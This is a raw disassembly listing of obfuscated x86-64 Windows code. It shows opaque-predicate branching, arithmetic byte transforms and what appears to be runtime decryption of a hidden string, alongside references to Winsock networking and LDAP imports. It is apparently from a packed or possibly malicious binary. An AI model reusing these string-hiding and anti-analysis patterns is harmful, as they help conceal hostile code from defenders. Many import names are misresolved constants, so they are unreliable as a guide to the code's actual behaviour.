lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401fa309
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x1401fa2e7
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401fa2c6
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x1401fa2a0
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401fa27d
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401fa25c
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x1401fa239
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x1401fa216
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x1401fa202
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401f9fe1
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x1401f9fe1
movabs rdx, 0x7954c208e2fd862a
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x1401f9fd4
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f9f6d
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401f9ef1
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_26
jmp 0x1401fa924
movabs rcx, 0x7ca3d7263d200934
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
jmp 0x1401fa95c
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x1401fa982
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401fa824
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, r14b
jmp 0x1401fa853
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fa8c2
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x1401fa87f
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x1401faa04
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x1401fa3b3
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r10 + 0x7c0], bl
jmp 0x1401faa69
movabs rdx, 0x9682c6ba1376f89e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x1401fa559
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x1401fa512
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401fa4e6
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401faa5a
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1401faa04
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401fa895
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x1401fa8c2
movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x1401fa853
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x1401fa26b
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x1401fa982
movabs rdx, 0x7605aceb88db0320
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401fa95c
movabs rcx, 0xc1a100b078b287a4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x1401fa936
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x1401fa590
lea rdx, [r10 + r15]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 6
je 0x1401fa858
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x1401fa663
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, r14
jae 0x1401fa803
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x1401fa731
movabs rdx, 0xe41f9575967bc6dc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
add bl, dl
cmp r11, 0x1000
jb 0x1401fa33e
movabs rdx, 0xf00e4fc4381099b4
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401fa936
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401fa5bc
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x34
jmp 0x1401faa5a
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401fa5d6
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x1401fa895
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401fa605
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401fa853
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401fa630
movabs rcx, 0x52397dffa41c8a98
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x1401fa829
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401fa4e8
movabs rdx, 0xbb02d675c46d8190
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fa95c
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401fa68d
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x1401fa934
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401fa6b8
movabs rcx, 0xcf9135f5ad74a436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x1401fa829
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401fa6d5
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401fa5ee
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401fa701
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x42
jmp 0x1401fa8c2
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401fa524
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x1401faa5a
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401fa75d
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x1401faa5a
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401fa787
movabs rdx, 0x14d9a26c6f53950
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x1401fa87f
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401fa7a4
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1401fa5ee
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401fa7d3
movabs rdx, 0xd2e04b1307972740
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fa982
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401fa55b
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, r12b
jmp 0x1401fa95c
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r10 + 0x7c0]
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x7c0], cl
add rdi, r11
jmp 0x1401fa8c2
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x7c0]
add bl, r9b
add bl, dl
jmp 0x1401fa9aa
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401fa87c
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401faa69
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x1401fa982
movabs rdx, 0x9a85bca739d18c12
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7e
jmp 0x1401fa934
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x1e
add r9b, cl
mov byte [rbp + r10 + 0x7c0], r9b
add r11, r13
jmp 0x1401fa982
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r10, r13
jmp 0x1401faa69
mov r9, r8
movabs rcx, 0xf7605aceb88db032
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x7c0], al
add r11, r13
add rax, r11
sub r10, rax
jmp 0x1401faa04
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9b, r8b
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, cl
mov byte [rbp + r10 + 0x7c0], r9b
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401faa5a
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x7c0]
add rax, r11
add r10, rax
add r10, r13
jmp 0x1401f9edf
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f9eda
movabs rdx, 0xa7c2111ca25b983a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401f9eca
lea rdx, [rbp + 0x1598368]
jmp 0x1401faad6
lea rdx, [rbp + 0x16dc126]
jmp 0x1401faad6
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x3e0]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a80]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401fab0b
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1a80]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1a80]
call fcn.140266950
nop
lea rcx, [rbp + 0x1a80]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xbb0], 0xe3
mov byte [rbp + 0xbb1], 0xad
mov byte [rbp + 0xbb2], 0xec
mov byte [rbp + 0xbb3], 0xab
mov byte [rbp + 0xbb4], ntohl
mov byte [rbp + 0xbb5], 0xa9
mov byte [rbp + 0xbb6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xbb7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xbb8], 0x3d
mov byte [rbp + 0xbb9], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xbba], al
mov byte [rbp + 0xbbb], __WSAFDIsSet
mov byte [rbp + 0xbbc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbbd], __WSAFDIsSet
mov byte [rbp + 0xbbe], reloc.WS2_32.dll_listen
mov byte [rbp + 0xbbf], 0x9f
mov byte [rbp + 0xbc0], 7
mov byte [rbp + 0xbc1], 0x9d
mov byte [rbp + 0xbc2], 5
mov byte [rbp + 0xbc3], 0x9b
mov byte [rbp + 0xbc4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xbc5], 0x99
mov byte [rbp + 0xbc6], Ordinal_46
mov byte [rbp + 0xbc7], 0x87
lea r15d, [rax + 0x16]
mov byte [rbp + 0xbc8], r15b
mov byte [rbp + 0xbc9], 0x85
mov byte [rbp + 0xbca], Ordinal_217
mov byte [rbp + 0xbcb], 0x83
mov byte [rbp + 0xbcc], 0x3d
mov byte [rbp + 0xbcd], 0x81
mov byte [rbp + 0xbce], Ordinal_50
mov byte [rbp + 0xbcf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xbd0], Ordinal_46
mov byte [rbp + 0xbd1], Ordinal_143
mov byte [rbp + 0xbd2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xbd3], Ordinal_143
mov byte [rbp + 0xbd4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xbd5], Ordinal_143
mov byte [rbp + 0xbd6], 0x64
mov byte [rbp + 0xbd7], 0xf7
mov byte [rbp + 0xbd8], 0x5c
mov byte [rbp + 0xbd9], 0xf5
mov byte [rbp + 0xbda], 0x62
mov byte [rbp + 0xbdb], 0xf3
mov byte [rbp + 0xbdc], 0xaa
mov byte [rbp + 0xbdd], 0xf1
mov byte [rbp + 0xbde], 0xa2
mov byte [rbp + 0xbdf], 0xff
mov byte [rbp + 0xbe0], 0xae
mov byte [rbp + 0xbe1], 0xfd
mov byte [rbp + 0xbe2], 0x57
mov byte [rbp + 0xbe3], 0xfb
mov byte [rbp + 0xbe4], 0x60
mov byte [rbp + 0xbe5], 0xf9
mov byte [rbp + 0xbe6], Ordinal_79
mov byte [rbp + 0xbe7], 0xe7
mov byte [rbp + 0xbe8], 0xb6
mov byte [rbp + 0xbe9], 0xe5
mov byte [rbp + 0xbea], 0x77
mov byte [rbp + 0xbeb], 0xe3
mov byte [rbp + 0xbec], 0x7d
mov byte [rbp + 0xbed], 0xe1
mov byte [rbp + 0xbee], 0x47
mov byte [rbp + 0xbef], 0xef
mov byte [rbp + 0xbf0], 0xec
mov byte [rbp + 0xbf1], 0xed
xorps xmm0, xmm0
movups xmmword [rbp + 0xbf2], xmm0
mov qword [rbp + 0xc02], rax
mov byte [rbp + 0xc0a], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x5b
jae 0x1401fb8f2
movzx r9d, byte [rbp + r10 + 0xbb0]
mov r8, r9
cmp rdi, r10
ja 0x1401fb8e9
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401fad92
movabs rcx, 0xfa317cbfea226b1a
add rcx, r10
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x1401fadcc
je 0x1401fb862
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401fb7d5
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401fb79f
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401fb755
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401fb72d
cmp r11, r10
ja 0x1401fb8e0
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x1401fadf2
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401fafd9
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401fb6e9
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401fb6ca
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401fb6a7
lea rax, [r11 + 7]
cmp rdi, rax
je 0x1401fb684
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x1401fb371
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x1401fb350
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1401fb33c
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401fb31a
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401fb2f8
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401fb2d2
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401fb2b0
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401fb29c
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401fb27a
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x1401fb254
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x1401fae33
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x1401fb8bd
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x1401fb897
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401fb012
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1401faff0
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x1401fafca
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x1401fb1f9
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x1401fb19e
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x1401fb150
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401fb12e
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x1401fb10c
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401fb0e6
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x1401fb0c4
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x1401fb0b0
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401fb08f
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401fb07b
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x1401fb059
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401fb038
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401fae33
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x1401fae33
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fae26
movabs rcx, 0xe47bc2b44c6b50ea
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x66
jmp 0x1401fadcc
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fad5b
movabs rdx, 0x3079ddf1a6964910
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x1401fb705
movabs rcx, 0x3c16e471d25172dc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x1401fb74a
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x1401fb4ca
movabs rdx, 0x5350f17229c7c674
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
jmp 0x1401fb771
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401fb7ae
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401fb7c3
movabs rdx, 0x762804f2acf943d8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fb7f9
movabs rcx, 0x81c50b72d8b46da4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x1401fb82b
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x1401fb880
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
cmp r11, 0x41
jb 0x1401fb620
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x1401fb707
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, 3
jae 0x1401fb62d
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x1401fb566
movabs rdx, 0x23d9f578ff064e54
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x1401fb16d
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x1401fb659
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x1401fb485
movabs rdx, 0x9dcab9baca338532
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401fb1bf
movabs rdx, 0x245b66753cf0b6cc
add rdx, r10
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fb880
movabs rcx, 0x2ff86cf568abe098
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x1401fb82b
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x1401fb3e3
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x1401fb7c3
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401fb7c0
movabs rcx, 0x5e6c86f6179887c8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x1401fb773
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x1401fb74d
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x1401fb46e
movabs rdx, 0x81439a769aca052c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x34
jmp 0x1401fb705
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x1401fb3a0
movabs rdx, 0xfa317cbfea226b1a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fb216
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401fb3cf
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401fb880
cmp rdi, rcx
jne 0x1401fb3f8
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401fb67d
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401fb427
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fb773
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401fb452
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x1401fb74d
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401fb216
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_26
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fb74a
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401fb4b2
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401fb705
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401fb4e1
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401fb74d
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401fb50c
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x1401fb7c0
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401fb537
movabs rcx, 0x4c7f8c399815609e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
jmp 0x1401fb7f9
lea rax, [r11 + 6]
